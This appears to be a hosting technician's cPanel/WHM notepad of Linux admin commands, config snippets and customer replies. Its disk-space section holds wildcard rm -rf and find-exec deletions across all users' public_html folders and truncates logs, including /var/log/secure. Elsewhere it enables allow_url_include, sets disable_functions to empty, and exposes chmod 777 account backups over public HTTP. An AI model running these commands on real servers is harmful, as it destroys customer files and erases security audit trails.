Miscellaneous contain .
============================================================================
http://erikimh.com/notepad/
Linux Cms need to know:
http://webtools.live2support.com/linux/cp.php
http://www.computerhope.com/unixtop1.htm
Check fully dns details:
http://www.robtex.com/dns/google.com.html#graph
http://www.robtex.com/
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/1125releasenotes.pdf
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/1125releasenotes.pdf
http://forums.cpanel.net/
http://www.w3schools.com
http://www.thecpaneladmin.com/wp-content/plugins/downloads-manager/upload/cpanelcheatsheet1125.pdf
Dedy Country:
http://www.countryipblocks.net/country-blocks/select-formats/
puppet
https://www.linux.com/learn/tutorials/325201-introduction-to-puppet-streamlined-system-configuration
http://linuxappfinder.com/package/puppet
http://puppetlabs.com/
cat .htaccess
Options -Indexes
/scripts/upcp logs
cPanel update logs are stored in the following directory path:
/var/cpanel/updatelogs/
Display routing table :
# netstat -rn
#!/usr/bin/perl -I/usr/local/bandmin
=> normal message delivery
<= message arrival
Completely remove or disable cpanellogd
http://supernetech.com/blog/?p=39
======================================================================================================================================
xargs -I{} kill {}
rsync -arvn (dry run first, n)
rsync -arv /backup/cpbackup/daily/igdfsslr/homedir/public_html/automatic-seo-system.com/* .
rsync [OPTION]... SRC [SRC]... DEST
-v, --verbose
-a, --archive archive mode; equals -rlptgoD (no -H,-A,-X)
-r, --recursive
-h, --human-readable output numbers in a human-readable format
--progress show progress during transfer
-P same as --partial --progress
--list-only
--stats give some file-transfer stats
--ignore-existing skip updating files that already exist on receiver
-n, --dry-run perform a trial run with no changes made
-u, --update skip files that are newer on the receiver
--inplace update destination files in-place (SEE MAN PAGE)
--append append data onto shorter files
--append-verify like --append, but with old data in file checksum
rsync -arv /backup/cpbackup/daily/dropship/homedir/public_html/wp-content/themes .
rsync -arP /backup/cpbackup/daily/dropship/homedir/public_html/wp-content/themes .
rsync -vrplogDtH /olddrive/home/* /home
include/exclude patterns to copy just certain files?
http://lists.samba.org/archive/rsync/2004-July/009975.html
http://credentiality2.blogspot.in/2011/02/using-rsync-to-copy-only-certain.html
https://calomel.org/rsync_tips.html
http://abbeyworkshop.com/howto/unix/nix_rsync/index.html
Testing (-n, --dry-run )
rsync -a -n --include='*.php' --exclude='*' /backup/cpbackup/daily/dropship/homedir/public_html/
Final cmd
rsync -a --include='*.php' --exclude='*' /backup/cpbackup/daily/dropship/homedir/public_html/ .
And
Testing (-n, --dry-run )
rsync -avr -n --include='*.php' /backup/cpbackup/daily/dropship/homedir/public_html/
Final cmd
rsync -avr --include='*.php' /backup/cpbackup/daily/dropship/homedir/public_html/ .
======================================================================================================================================
In php.ini the integere value means
Off = 0
On = 1
safe_mode = Off
output_buffering =On
memory_limit = 64M
allow_url_fopen = On
allow_url_include=On
upload_max_filesize = 20M
post_max_size = 20M
<<<
reset ssh port through WHM
Login to your WHM using 2086
And then browse the below URL:
http://serverip:2086/scripts2/doautofixer?autofix=safesshrestart
It will prompt for server password insert it and it will show that port is reset to default(22)
SetEnv PHPRC “/home/username/public_html”
suPHP_ConfigPath /home/user/public_html/php.ini
SetEnv PHPRC /home/apekadec/public_html/php.ini
suPHP_ConfigPath /home/apekadec/public_html/php.ini
zend_extension="/usr/local/IonCube/ioncube_loader_lin_5.2.so"
flush your cache
#rndc flush
fixwebalizer
runweblogs
/usr/local/cpanel/3rdparty/bin/webalizer_lang/
List compiled modules with the PHP CLI
Passing the -m flag to the PHP CLI will show a list of the compiled in modules:
php -m
==>> We have null routed the IP
Your server is receiving a lot of connections from different IPs
Joseph: We are unable to tell which ones are real connections(people viewing your sites) or bad ones(attackers).
Joseph: To protect the server we move all connections to a box that drops them. Which means that they never reach the server.
Basically point the connections to null at the router which discards all the connections to your server.
Please generate a tracert report from the IP address from which you are getting an issue to access the k3kw.com domain name. Go through the following steps to take a tracert report
1. Open the command window by clicking START, then RUN. Type CMD, and hit Enter or click OK.
2. Type "tracert" in the Command Window.
3. Hit the space bar once.
4. Type : tracert k3kw.com
5. Hit "Enter."
Add the ip in servers firewall and check the tracert
tracert 212.174.54.232
cat .htaccess
<FilesMatch "\.(htm|html|php)$">
SetHandler application/x-httpd-php5
</FilesMatch>
-----------------------------------------------------
AddDefaultCharset ISO-8859-1
<FilesMatch "\.(htm|html|php)$">
SetHandler application/x-httpd-php5
</FilesMatch>
RewriteEngine on
RewriteBase /
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.html -f
RewriteRule ^(.*)$ $1.html
AddDefaultCharset UTF-8
-----------------------------------------------------
mayank: supersite address
mayank: domain.cybermatics.in
mayank: partner site adddress
mayank: reseller.cybermatics.in
JOOMLA PHP.INI
safe_mode = Off
display_errors=Off
register_globals=Off
memory_limit = 64M
magic_quotes_gpc = Off
cp php.ini administrator/
Check JOOMLA VERSION
find -iname version.php | xargs cat | grep '$RELEASE'
Ot
./libraries/joomla/version.php
./libraries/cms/version/version.php
=====================================================
Common changes on php.ini file
=====================================================
display_startup_errors = Off
display_errors=Off
safe_mode = Off
post_max_size = 10M
upload_max_filesize = 10M
enable_dl = Off
allow_url_fopen = On
memory_limit = 64M
register_globals=Off
magic_quotes_gpc = Off
disable_functions =
=====================================================
=====================================================
sub domain path in plesk, windows server:
C:\Inetpub\vhosts\mgzsoft.com\subdomains\lcmgz\httpdocs
Webconfig file "check to correct some error"
Please check and found that your website is working fine at our end. Please check your firewall setting and clear your browser cache and flush dns and check again and you can even try to access your website from another web browser.
Start >> Run >> Cmd >> ipconfig /flushdns
And
You can check your website from the link:
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.jlastimosa.com/
If still you are not able to access your website then update us with the whole output of tracert command for further assistance.
Start >> Run >> Cmd >> tracert jlastimosa.com
it might be your ISP issue, please check it with your ISP or try to reset the router at your end so that your connection will be reset.
On your local machine, open a command prompt.
Within the prompt, type ipconfig /flushdns
*********************
.htaccess should have the line
php_value include_path ".:/path/to/php/PEAR"
include_path = ".:/usr/lib/php:/usr/local/lib/php:/home/user/pear";
include_path = ".:/usr/bin/pear:/usr/local/bin/pear:/usr/local/lib/php/";
php_value include_path ":/usr/local/bin/pear"
include_path = ".:/usr/lib/php:/usr/local/lib/php:/home/aysunzuc/pear";
You can change the nameservers for your domain from your Client Area.
You can login to your Client Area via the link: http://dollar2host.com/clients/clientarea.php
Login to your >> Client Area >> Click on "My Domains" Menu > Select the domain for which youe wish to change the nameserevers >> Then click on Green log on the left side of your domain >> Edit the nameservers >> then click on "save changes" button
You can change the user names of the accounts under your WHM. Please login to your WHM and list accounts and you can see edit option under user names. Just click, edit the user name and save.
*********************************************************************************************************************
Responsible for validating the integrity of cPanel-managed RPMs and their corresponding files.
This script detects if there are any RPMs that have been unexpectedly altered.
/scripts/check_cpanel_rpms --fix
/usr/local/cpanel/check_cpanel_rpms --fix
/scripts/makecpphp
/scripts/upcp
/scripts/upcp --force
tail -f /var/cpanel/updatelogs/update.1360207397.log
yum update
/scripts/rebuildhttpdconf
tail -f /usr/local/cpanel/logs/error_log
vi /etc/cpupdate.conf
*********************************************************************************************************************
Email Accounts size showing 0
/scripts/generate_maildirsize --confirm --verbose username
/scripts/generate_maildirsize --confirm --allaccounts --verbose $USER
http://forums.cpanel.net/f43/e-mail-usage-seems-show-incorrectly-cpanel-252262.html
removing resources
ipcs -s | grep nobody | perl -e 'while (<STDIN>) {@a=split(/\s+/); print `ipcrm sem $a[1]`}'
========================================================================
ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'
===================
fuser 80/tcp
and kill the process
apachectl start
httpd -t
service httpd configtest
netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
pdo sqlite
php --ri pdo_sqlite
/usr/local/bin/php --ri pdo_sqlite
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
mail sending problem
ERROR
======
T=remote_smtp defer (-53): retry time not reached for any host
=================================================
LINK:
=======
http://forums.cpanel.net/f43/t-remote_smtp-defer-53-retry-time-not-reached-any-host-72383.html
SOLUTION:
==========
This can be caused by multiple things, however if it happens for each email, it's likely your exim databases are corrupt; to resolve this you should:
/usr/sbin/exim_tidydb -t 1d /var/spool/exim retry > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim reject > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim wait-remote_smtp > /dev/null
/scripts/courierup -- force
/scripts/eximup --force
============================
If you did that, yet the problem persists, you can either seek professional help, or contact the cPanel support.
Files location in windows
C:\Inetpub\vhosts\tiocsap.com\httpdocs
IF client is not able to access the website via temporary URL:
Main >> Security Center >> Apache mod_userdir Tweak
.htaccess
ErrorDocument 404 /404.php
*********************************************************************************************************************
*********************************************************************************************************************
Mysql Socket in tmp folder command
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
*************************
*********************************************************************************************************************
*********************************************************************************************************************
Disk Space
find /home -type f -size +10M -iname "*.zip" -o -iname "*.tar" -o -iname "*.gz" -exec du -sh {} 2>&1 /tmp/diskspace \; -print
find /home -type f -size +10M -iname "*.zip" -iname "*.tar" -iname "*.gz"
find /home -type f -size +10M -iname "*.zip" -o -iname "*.tar" -o -iname "*.gz"
find /home/*/public_html/ -size +10M
find /home/[^a-w]*/public_html/ -size +10M
/home/tcmline1/public_html/ankarado.com/cache/page
find -iname "*.jpa"
find /home/*/public_html/administrator/components/ -iname "*.jpa"
find /home/*/public_html/administrator/components/ -iname "*.jpa" -exec rm -rfv {} \; -print
find -iname "*.jpa" -exec rm -rfv {} \;
administrator/components
locate "*.jpa" | xargs rm -rfv {}
/administrator/components/com_akeeba/assets/installers/abi.jpa
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \;
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \; | sort -n | grep -v K
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \; | sort -n | grep -v K
find /home/*/mail/ -type d -name ".Trash" -exec du -sh {} \;
find /home/*/mail/ -type d -name ".Sent" -exec du -sh {} \;
find /home/*/public_html -type f -name error_log -exec du -sh {} \;
http://www.unix.com/shell-programming-scripting/13857-cp-all-but-some-files-paramater-cp-command.html
find . \( -name CVS -prune \) -o -type f ! -name .project ! -name project.index -print | xargs -I {} cp -rp {} /somewhere/else
Go to /tmp and then fire
cd /tmp
rm -rfv /home/*/fantastico_backups
rm -fv /home/*/tmp/Cpanel_*
yum clean all
locate .pureftpd-upload | xargs rm -fv
sh /bin/deldom
cd /bin
./deldom
find . -name 'backup-*.tar.gz' -exec rm -vf {} \;
find /home/*/public_html -name 'core.[0-9]*' -exec rm -vf {} \;
cd /tmp
rm -rfv /home/*/public_html/*/core.[1-9]*
rm -rfv /home/*/*.tar
rm -rfv /home/*/*tar.gz
cd /var/spool/exim/msglog/
rm -rfv *
/scripts/restartsrv exim
du -sh msglog/
http://content.hccfl.edu/pollock/unix/findcmd.htm
http://www.linux.ie/newusers/beginners-linux-guide/find.php
http://www.grymoire.com/Unix/Find.html#uh-2
root@nano [~]# find /home -type f -size +50000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
find /home -type f -size +50000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' | awk '{print "rm -rfv $9" }'
find /home/estudiog/public_html -type f -size +50000k -exec ls -lh {} \; | awk '{ print "rm -rfv "$9 }' | sh
find /home/ -name *.dat
find /home/ -name core.*
find /home -name "*" -size +100000k
find -type f -size +10M -exec rm -rf {} \; -print
du -sh /usr/local/apache/domlogs/
find -name "*" -size +5000k -exec mv "{}" /home/whwteam/delete \;
find -name "*" -size +1000k -exec mv "{}" /home/whwteam/delete \;f
find -name "*" -size +20M | xargs du -sh
find -name "*" -size +20M | xargs du -sh | sort -n
find -name "*" -size +200M -ok echo > {} \; -print
find -name "*" -size +200M -exec du -sh {} \; -print
find . -type d -exec chmod 755 {} \;
find <parent directory> -type d -exec cp <parent directory>/<Filename1> {}/ \;
find . -type d -exec cp ./php.ini {}/ \;
find . -type d -exec cp -p php.ini {} \; -print
find . -name *.mp3 -exec rm -f ./*.mp3 {}/ \;
echo > /usr/local/apache/logs/error_log
echo > /usr/local/apache/logs/access_log
echo > /usr/local/apache/logs/suphp_log
echo > /var/log/exim_mainlog
echo > /var/log/exim_rejectlog
echo > /var/log/maillog
echo > /var/log/messages
echo > /var/log/messages.1
echo > /var/log/maillog.1
echo > /usr/local/cpanel/logs/access_log
echo > /usr/local/cpanel/logs/error_log
cd /usr/local/apache/htdocs/
ll /home/*/backup*
rm -rfv /home/*/backup*
ll /home/*/public_html/backup*
rm -rfv /home/*/public_html/backup*
df -h
du -sh /usr/local/apache/domlogs/
cd /usr/local/apache/htdocs/
du -sh /var/log/
du -sh /usr/local/cpanel/logs/
rm -rfv /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.rar
rm -rfv /home/*/public_html/*.tar
rm -rfv /home/*/public_html/*.tar.gz
rm -rfv /home/*/public_html/*.gz
rm -rfv /home/*/public_html/error_*
/home/*/public_html/error_log
rm -rfv /home/*/public_html/*.wmv
rm -rfv /home/*/public_html/*.exe
cd /tmp
rm -fv /home/*/public_html/*/core.[1-9]*
rm -fv /home/*/public_html/core.[1-9]*
rm -rfv /home/*/public_html/*/error_*
rm -rfv /home/*/public_html/*/*.zip
rm -rfv /home/*/public_html/*/*.rar
rm -rfv /home/*/public_html/*/*.exe
rm -rfv /home/*/public_html/*/*.tar
rm -rfv /home/*/public_html/*/*.gz
rm -rfv /home/*/public_html/*/core.[1-9]*
ls -lh /home/*/*.tar.gz
rm -fv /home/*/*.tar.gz
ls -lh /home/*.tar.gz
rm -fv /home/*.tar.gz
ls -lh /home/[^w]*/*.tar.gz
ls -lh /home/*/*.tar.gz
ls -lh /home/*/*.rar
ls -lh /home/*/*.tar
ls -lh /home/*/public_html/backup*
ls -lh /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.zip
rm -rfv /home/*/public_html/*.rar
rm -rfv /home/*/public_html/*.tar
rm -rfv /home/*/public_html/*.gz
rm -rfv /home/*/public_html/error_l*
df -h
rm -rfv /home/*/public_html/*/error_l*
w
ll /home/*/public_html/*/*.zip
find . -name 'core.[0-9]*' -exec rm -rv {} \;
find . -name 'backup-*.tar.gz' -exec rm -vf {} \;
find . -name 'error_log' |awk '{print "echo > " $1}' > /home/testlist
find . -name '*.zip' -exec rm -vf {} \;
find . -name '*.3gp' -exec rm -vf {} \;
find . -name '*.avi' -exec rm -vf {} \;
cd mail
find -name "*" -size +4000k -exec mv "{}" /home/whwteam/delete
\;
du -chs *
**************************************************
find /home -name "*" -size +100000k
find /home -name "*.zip*"
find /home -name "*.zip*" -exec ls -lh {} \;
find /home -name "*.zip*" -exec ls -lh {} \; >> test_diskusage
find /home -name "*.tar.gz*"
****************************************************
to find and delete all files like .rar, .mp3, avi, mpeg fire this command and after that files gets stored in /home/delete of the server.
find /home/*/public_html/ -iname '*.rar' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mp3' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.mpeg' -exec mv "{}" /home/delete \;
find /home/*/public_html/ -iname '*.avi' -exec mv "{}" /home/delete \;
find /home -name "*" -size +100000k
find */public_html/* -name .pure*
find /home/*/public_html/ -iname '*.pure' -exec mv "{}" /home/delete \;
? - Matches any single character.
* - Matches multiple characters.
[] - Matches any single character in the bracket.
#find . -name *[Aai]dm?n
Check the steps to free the disk space
==================================
How to free disk space?
1. SSh to server and run following command
cd /bin
./deldom
2. cd /usr/local/apache/logs
echo access logs, error logs, suexec logs, suphp logs
3
cd /var/log
echo > /var/log/btmp
echo > /var/log/chkservd.log
echo > /var/log/cron
echo > /var/log/cron.1
echo > /var/log/cron.2
echo > /var/log/cron.3
echo > /var/log/cron.4
echo > /var/log/exim_mainlog
echo > /var/log/exim_paniclog
echo > /var/log/exim_rejectlog
echo > /var/log/maillog
echo > /var/log/maillog.1
echo > /var/log/maillog.2
echo > /var/log/maillog.3
echo > /var/log/maillog.4
echo > /var/log/messages
echo > /var/log/messages.1
echo > /var/log/messages.2
echo > /var/log/messages.3
echo > /var/log/messages.4
echo > /var/log/secure
echo > /var/log/secure.1
echo > /var/log/secure.2
echo > /var/log/secure.3
echo > /var/log/secure.4
echo > /usr/local/cpanel/logs/access_log
echo > /usr/local/cpanel/logs/error_log
cd /usr/local/apache/logs
echo > access_log
echo > error_log
echo > suexec_log
echo > suphp_log
ls -lh /var/lib/mysql/$(hostname).err
echo > /var/lib/mysql/$(hostname).err
echo that file
5. cd /home
ll | grep backup
ll | grep cpomove
Remove the backup files
6. Login to server via WHM
chcek for the disk usage and list the high usage accounts. Check for the account plan if small check for tar, zip files in account and remove them
place an note in account with the size of files removed.
*********************************************************************************************************************
*********************************************************************************************************************
********************************************************************************************************************
Commands:
tail -f /usr/local/apache/log/access_log
It will display access logs.
tail -f /usr/local/apache/log/error_log
It will display error logs.
df -h
It will display disk space.
ping domainname
To see whether ressolve in our server.
cd /var/lib/mysql/
ll | grep username
It will Display database.
w
servers details eg:Load
csf -a ipaddress
To check whether ip is block in our firewalls
delete a ip form csf
csf -d IP
Grep: Read csf.conf, csf.allow and csf.deny file
csf -g 127.0.0.1
block ip range
csf -d 178.148.0.0/15
csf -a 66.249.71.00/24
remove Blocks for Ip range
csf -dr 66.249.71.00/24
cp /usr/local/lib/php.ini .
ll
chown -R sanomeu.sanomeu php.ini
vi php.ini
vi phpinfo.php
vi index.htm
clamscan *
To scan all the files
pwd
It will display path
chown -R natureye.natureye .htaccess
cd ../
To move to previous directory
du -csh *
Displays disk space usage
/scripts/runweblogs username
Use to update the statistics for weblizer
php -v
displays version fo php
chmod 755 mail
Used to change the permission of mail folder
/etc/init.d/exim restart
Used to restart exim
/etc/init.d/courier-imap restart
Used to restart imap services.
/etc/init.d/courier-authlib restart
If email account password are not working then restart this services.
/scripts/restartsrv_cppop
To restart pop services
csf -f
Used to flush firewalls
MySql:
cd /var/lib/mysql -> Path of my Sql databases
ll | grep username
chmod 700 databasename
If Mysql error.
Warning: fsockopen() [function.fsockopen]: unable to connect to localhost:143
/scripts/restartsrv_cppop
/scripts/courierup --force
to install imap services.
Restore backup
cd /backup
ll
cd cpbackup/
ll
cd daily
ll | grep username
then login to WHM>>backup restore option>>search username>>select last 3 options
----------------------------------------------------------------------
Message not receiving by the client?
cat /etc/localdomains | grep domainname
cat /etc/trueuserdomains | grep doaminname
cat /etc/userdomains | grep donainname
exim -bpc ->mails in queue
rm -rf /var/spool/exim/input
on other server run this commands:
exim -bpc
exim -bp
exiqgrep -z -i | xargs exim -Mrm
rm -rf /var/spool/exim/input
exim -bP exim_user
root@chief [~]# exim -bP exim_user
exim_user = mailnull
-----------------------------------------------------
usefull configuration varilables in exim
exim -bP
daemon_smtp_ports = 25 : 26 : 465 : 587
message_size_limit = 50M
smtp_accept_max = 100
smtp_accept_max_per_connection = 1000
smtp_accept_queue_per_connection = 10
spool_directory = /var/spool/exim
-----------------------------------------------------
ps -auxf
mysqladmin ur
mail services restart
/etc/init.d/exim restart
To restart cpanel:
/etc/init.d/cpanel restart
To check the disk space:
du -csh *
cd /etc/init.d
ll
We will get the list of the services
/etc/init.d/httpd (start/stop/restart)
to restart services on the server.
chown username.username templates/ -R
If client not able to give permissions
500 internal server error
tail -f /usr/local/apache/log/error_log |grep username
In this find the error.
rm -rf *
deleted files of specific folder.
Forbiden error
chmod 755 username ->in home directory
To start mailman service
/usr/local/cpanel/3rdparty/mailman/bin/mailmanctl restart
If mailman list not working?
/scripts/fixmailman
# service crond restart
Used to restart cronjob services on server
*********************************************************************************************************************
Convert Tables ENGINE from Innodb to MyISAM or Vice Versa
<?php
// connect your database here first
mysql_connect('host', 'user', 'pass');
$databases = mysql_query('SHOW databases');
while($db = mysql_fetch_array($databases)) {
echo "database => {$db[0]}\n";
mysql_select_db($db[0]);
$tables = mysql_query('SHOW tables');
while($tbl = mysql_fetch_array($tables)) {
echo "table => {$tbl[0]}\n";
mysql_query("ALTER TABLE {$tbl[0]} ENGINE=MyISAM");
}
}
Q:how to repair database on shell
Ans:-
mysqlcheck -r db_name
# mysqlcheck -r -o startrek_fan (Where startrek_fan is database name)
mysqlcheck -r -o whitecde_wrdp2
myisamchk --max-record-length=1048576 -r -f /var/lib/mysql/itsyours_mybb/mybb_threads
mysqlcheck --auto-repair teluguyu_TLY
mysqladmin drop peoplesv_testdb
mysqladmin create peoplesv_testdb
mysqladmin drop peoplesv_testdb
mysqladmin variables | grep have_innodb
cp -i -p ../innodb-bad/ibdata1 ../innodb-bad/ib_logfile0 ../innodb-bad/ib_logfile1 ./
By default any database that uses the InnoDB engine, stores all of the InnoDB data in a single file:
/var/lib/mysql/ibdata1
InnoDB
http://blog.bottomlessinc.com/2010/03/innodb-engine-disabled-when-specifying-a-buffer-pool-size-too-high/
#innodb_force_recovery=4
#skip-innodb
root@power [/tmp]# cat /etc/my.cnf
[mysqld]
skip-locking
key_buffer = 384M
max_allowed_packet = 1M
max_connections = 300
max_user_connections = 15
wait_timeout=40
connect_timeout=10
table_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
thread_cache_size = 8
query_cache_size = 32M
server-id = 1
#innodb_force_recovery=4
#skip-innodb
[mysqldump]
quick
max_allowed_packet = 16M
[mysql]
no-auto-rehash
[myisamchk]
key_buffer = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M
[mysqlhotcopy]
interactive-timeout
Q: du -csh * = it will show the size of the file on the current directory.
Q: ll | wc -l := For backup
Q. How to configure Blackberry for email
Ans: http://www.everyone.net/pdf/eu_guide_blackberry_jun07.pdf
egrep "X-PHP-Script" * -R
find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
#cp -rp mail (mail is directoy name) -------------------> copy folder in linux
*********************************************************************************************************************
Command for fantastico is not working
# /scripts/makecpphp
makecpphp log path
/usr/local/cpanel/logs/easy/apache/
/usr/local/cpanel/logs/easy/apache/build.1336864303
*********************************************************************************************************************
Cron log file :- tail -f /var/log/cron
path of cron :- vi /var/spool/cron/username
How to check logs :- tail -f /var/log/messages
tail -f /var/log/lfd.log
/usr/local/apache/domlogs/ftpxferlog
/var/log/xferlog
/usr/local/cpanel/logs/tailwatchd_log
/var/cpanel/logs
*********************************************************************************************************************
Backup restore :
check backup in daily
login to whm >> daily >> find username >> mark last 3 option >> done
*********************************************************************************************************************
Error Messege : ionCube PHP Loader ioncube_loader_lin_5.2.so to be installed by the site administrator.
Ans :
Create a custom php.ini in that particular folder and insert below code in it.
zend_extension="/usr/local/IonCube/ioncube_loader_lin_5.2.so"
*********************************************************************************************************************
Apache note working: http service not working
http://www.cosmicscripts.com/servers/startingapache.html
httpd not working
cd /usr/local/apache/logs/
ll
echo > access_log
echo > error_log
/etc/init.d/httpd restart
/etc/init.d/httpd restart
fuser 443/tcp
fuser 80/tcp
*********************************************************************************************************************
E-mail problem
Try to send & receive an test e-mail frm yahoo/hotmail.
If id not given then create test account & then send/receive.
tail -f /var/log/exim_mainlog
If not then
vi /etc/localdomains check the domain in this
if blacklist error occurs then
ifconfig
vi /etc/exim.conf
serch remote_smtp
go to interface line comment that line and above line paste any ip from ifconfig
and restart the service of exim
--Check permisson of directorys
/var/spool/exim/input/
--Mail and etc folder for user
#perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
/etc/init.d/exim restart
/etc/init.d/courier-authlib restart
/etc/init.d/courier-imap restart
/etc/init.d/dovecot restart
/etc/init.d/xinetd status if stop
/etc/init.d/xinetd start or restart
/scripts/courierup
/scripts/restartsrv_cppop
/scripts/dovecotup
tail -f /var/log/exim_mainlog
/scripts/restartsrv_dovecot
/scripts/restartsrv_imap
/scripts/restartsrv_exim
/scripts/restartsrv_inetd
/scripts/restartsrv_courier
/scripts/restartsrv_cppop
/scripts/restartsrv_xinetd
# /scripts/setupmailserver --current
*********************************************************************************************************************
How to restore database :-
mysql cartoons_manjul < cartoons_manjul_wp_20100307_192.sql
mysqldump database name > database name.sql
mysql database_name < database_name.sql
*********************************************************************************************************************
How to download backup :-
/script/pkgact username
tar -zcvf directoryname.tar.gz directoryname
Eg
tar -zcvf sachol.tar.gz school ( where school is directory name)
mv cpmove-filename /usr/local/apache/htdocs
chmod 777 cpmove-suelospr.tar.gz
http://server ip/cpmove-suelospr.tar.gz
http://66.7.218.134/cpmove-suelospr.tar.gz
-----------------------------------------------------------------------------------------------------------
mysqldump database name > database name.sql
mysql database_name < database_name.sql
*********************************************************************************************************************
1 )Updates the server software:
/scripts/upcp
2) Reinstalls exim:
/scripts/exim4
3) Bandwidth issues
/scripts/cleanbw
4) To fix problem in webalizer that stop updating stats
/scripts/fixwebalizer
5) Self Explanatory
/scripts/fixcommonproblems
/scripts/fixeverything
6)Fixing Mail List MailMan
/usr/local/cpanel/bin/convertmailman2
7) Run cpanel backup
/scripts/cpbackup
To try and fix domain controller
/scripts/fixndc
9) Quotas
/scripts/initquotas – takes a while to run
/scripts/resetquotas
/scripts/fixquotas – takes a while to run
10) Add a Dns Entry
/scripts/adddns
11) Install Frontpage Mail Exts
/scripts/addfpmail
12) Add JavaServlets to an account (jsp plugin required)
/scripts/addservlets
13) Add a User
/scripts/adduser
14) Run WHM Lite
/scripts/admin
15) Add Rlimits (cpu and mem limits) to apache
/scripts/apachelimits
16) Resync with a master DNS Server
/scripts/dnstransfer
17) Edit A User’s Quota
/scripts/editquota
18) Search For Trojans in /dev
/scripts/finddev
19) Locate Trojan Horses
/scripts/findtrojans
20) Suggest Usage
/scripts/findtrojans > /var/log/trojans
/scripts/fixtrojans /var/log/trojans
21) Make Interchange work with suexec
/scripts/fixcartwithsuexec
22) Fix Most Problems with Interchange
/scripts/fixinterchange
23) Run on a trojans horse file created by findtrojans to remove them
/scripts/fixtrojans
24) Run this if a user’s stats stop working
/scripts/fixwebalizer
25) Fix a broken valias file
/scripts/fixvaliases
26) Turn on DMA and 32bit IDE hard drive access (once per boot)
/scripts/hdparamify
27) Re-scan quotas. Usually fixes Disk space display problems
/scripts/initquotas
28) Turn on SUEXEC (probably a bad idea)
/scripts/initsuexec
29) Display Ipusage Report
/scripts/ipusage
29) Terminate an Account
/scripts/killacct
30) Delete “Security Problem Infested RPMS”
/scripts/killbadrpms
31) Fix Various Mail Permission Problems
/scripts/mailperm
32) Attempt to Troubleshoot a Mail Problem
/scripts/mailtroubleshoot
33) Change a Mysql Password
/scripts/mysqlpasswd
34) Kill Potential Security Problem Services
/scripts/quicksecure
35) Rebuild Ip Address Pool
/scripts/rebuildippool
36) Delete Nasty SSL entry in apache default httpd.conf
/scripts/remdefssl
37) Restart a Service (valid services: httpd,proftpd,exim,sshd,cppop,bind,mysql)
/scripts/restartsrv (example: /scripts/restartsrv httpd)
38) Syncup Security Updates from RedHat/Mandrake
/scripts/rpmup
39) Force a webalizer/analog update
/scripts/runlogsnow
40) Remove non-important suid binaries
/scripts/secureit
41) Install Frontpage 4+ on an account
/scripts/setupfp4
42) Return a Simple process list. Useful for finding where cgi scripts are running from
/scripts/simpleps
43) Suspend an account
/scripts/suspendacct
44) Syncup Cpanel RPM Updates
/scripts/sysup
45) Unblock an IP
/scripts/unblockip
46) UnSuspend an account
/scripts/unsuspendacct
47) Update Cpanel
/scripts/upcp
48) Update /scripts
/scripts/updatenow
49) Create a New Account
/scripts/wwwacct
50) Awstats to run manually
/scripts/runweblogs account_username
/scripts2/listassignednsips
This function has moved to /scripts2/listassignednsips. You will be redirected there in 5 seconds...
v Main >> Networking Setup >> Nameserver IPs
*********************************************************************************************************************
Account move procedure:
steps :
1.on existing server :
/scripts/pkgacct username
cd /home
mv cpmove-filename /usr/local/apache/htdocs
cd /usr/local/apache/htdocs
ll
chmod 777 cpmove-suelospr.tar.gz
2. On the server on which the account is to be moved :
wget http://66.7.218.166/cpmove-swisspac.tar.gz means wget http://server ip/cpmove file
cp cpmove-biterscr.tar.gz /home
/scripts/restorepkg username
`
3.change entry in poweradmin
4. change entry in billing.
*********************************************************************************************************************
Cpanel File Path:
/usr/local/cpanel/3rdparty
Cpanel config file path
/var/cpanel/cpanel.config
/usr/local/cpanel/etc/cpanel.config
/usr/local/cpanel/base/3rdparty/squirrelmail/
/usr/local/cpanel/base/3rdparty/
Cpanel logs:
/usr/local/cpanel/logs/
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
order deny,allow
deny from all
allow from 124.124.124.117 49.248.107.114 187.140.11.93
deny from 49.248.107.114
http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/
Disable site using .htaccess code
<Files *>
Order Deny,Allow
Deny from all
Allow from localhost
</Files>
<Files "api.php">
Order Allow,Deny
Deny from All
</Files>
<Files php.ini>
Order Deny,Allow
Deny from all
Allow from localhost
</Files>
*********************************************************************************************************************
Email account deletion from cpanel list
root@max [/home/zadioorg/.cpanel]# vi email_accounts.yaml
*********************************************************************************************************************
Fantistico location:
cd /var/netenberg
*********************************************************************************************************************
find . -type f -name "*.mpef"
*********************************************************************************************************************
Forwarder File:
vi /etc/valiases/domain-name
*********************************************************************************************************************
Google mails not working:
add domain name.
vi /etc/remotedomains
/scripts/updateuserdomains
*********************************************************************************************************************
ll /home/*/*.tar.gz |awk '{print "rm -rf " $9}'
*********************************************************************************************************************
log files:
access_log (in rotation)
access_logs
audit_log
error_log (in rotation)
error_logs
suexec_log (in rotation)
suexec_log.offset
suphp_log (in rotation)
*********************************************************************************************************************
